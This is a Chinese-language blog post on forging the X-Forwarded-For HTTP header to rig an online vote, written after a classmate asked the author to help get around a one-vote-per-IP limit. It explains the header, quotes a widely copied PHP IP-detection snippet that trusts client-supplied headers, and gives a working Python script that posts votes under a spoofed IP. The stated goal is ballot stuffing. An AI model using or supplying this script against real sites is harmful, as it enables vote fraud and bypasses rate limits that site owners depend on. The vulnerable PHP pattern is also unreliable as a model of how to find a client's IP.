1. 程式人生 > >偽造 X-Forwarded-For

偽造 X-Forwarded-For

背景

應同學的要求,幫忙刷票。我上去看了一下,對方網站做了IP限制,一天之內一個IP只能投一票,並沒有使用cookie校驗,驗證碼校驗等技術,總體來說這個網站的情況是比較常見的,常見的解決辦法有兩個:

使用大量的真實IP刷票

如果你使用的是一個撥號上網的網路,每次的撥號都能隨機分配IP,這種情況下,可以使用投票一次,撥號一次的方法來實現刷票,但這個方案有兩個問題:
1. 程式設計稍微複雜,而且執行效率低。由於涉及到撥號上網的程式設計,以及斷開網路連結到重新撥號上網是需要相對很長的時間的,因此程式設計複雜而且效率不高。
2. 由於每個ISP的IP分配池都是有限的,當你所在的IP池容量較小時,你能夠分配的IP也是很少的,因此可能無法大量刷票,這個也是潛在的風險。

偽造IP刷票

如何做到偽造IP是個難題。TCP/IP層級別的偽造,我是不會的(至少目前如此)。因此只能想著在應用層偽造了。上網查了一下資料,發現通過使用HTTP的X-Forwarded-For頭可以成功欺騙多數應用程式。

認識X-Forwarded-For

X-Forwarded-For(XFF)是用來識別通過HTTP代理或負載均衡方式連線到Web伺服器的客戶端最原始的IP地址的HTTP請求頭欄位。 Squid 快取代理伺服器的開發人員最早引入了這一HTTP頭欄位,並由IETF在Forwarded-For HTTP頭欄位標準化草案中正式提出。
這一HTTP頭一般格式如下:

X-Forwarded-For: client1, proxy1, proxy2

其中的值通過一個 逗號+空格 把多個IP地址區分開, 最左邊(client1)是最原始客戶端的IP地址, 代理伺服器每成功收到一個請求,就把請求來源IP地址新增到右邊。 在上面這個例子中,這個請求成功通過了三臺代理伺服器:proxy1, proxy2 及 proxy3。

關於X-Forwarded-For的詳細資料,可以參考wiki

應用程式為何會上當受騙

很多知名的大型的PHP軟體中都使用了類似下面的程式碼:

        if(getenv('HTTP_CLIENT_IP') && strcasecmp(getenv('HTTP_CLIENT_IP'), 'unknown')) { $onlineip = getenv('HTTP_CLIENT_IP'); } elseif(getenv('HTTP_X_FORWARDED_FOR') && strcasecmp(getenv('HTTP_X_FORWARDED_FOR'), 'unknown')) { $onlineip = getenv('HTTP_X_FORWARDED_FOR'); } elseif(getenv('REMOTE_ADDR') && strcasecmp(getenv('REMOTE_ADDR'), 'unknown')) { $onlineip = getenv('REMOTE_ADDR'); } elseif(isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], 'unknown')) { $onlineip = $_SERVER['REMOTE_ADDR']; } 

這段程式碼充分考慮了PHP相容性/平臺相容性/中間代理等諸多情況,不愧是大家之作。一般的程式設計師比如我,就不知道這裡的getenv('HTTP_X_FORWARDED_FOR')這個是什麼意思,雖然現在知道了,但是突然覺得這段程式碼還是有問題的,這裡的getenv('HTTP_X_FORWARDED_FOR')只能正確的處理單箇中間HTTP代理的情況,當多個代理出現時,這個獲得的IP將是一個多個IP組成的字串(IP之間有逗號分隔開)。

這段程式碼優先考慮了有代理情況下,如何獲取真實IP的情況,本身思考的非常周全,但是由於HTTP_X_FORWARDED_FOR的頭偽造起來很容易,所以偽造IP起來也就容易多了,以下是一個Python的示例,用於顯示如何利用HTTP_X_FORWARDED_FOR偽造IP:

        import sys, httplib, urllib, random params = "value=xxx" ipAddress = "10.0.0.1" headers = { "Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Encoding":"gzip, deflate", "Accept-Language":"zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3", "Connection":"keep-alive", "X-Forwarded-For":ipAddress, "Content-Length":"31", "Content-Type":"application/x-www-form-urlencoded", "User-Agent":"Mozilla/5.0 (Windows NT 5.1; rv:11.0) Gecko/20100101 Firefox/11.0" } con2 = httplib.HTTPConnection("10.0.0.2") try: con2.request("POST", "/xxx.php", params, headers) except Exception, e: print e sys.exit(1) r2 = con2.getresponse() print r2.read()     

這個請求在應用程式中獲得的IP將會是上面ipAddress變數的值,因此偽造IP成功!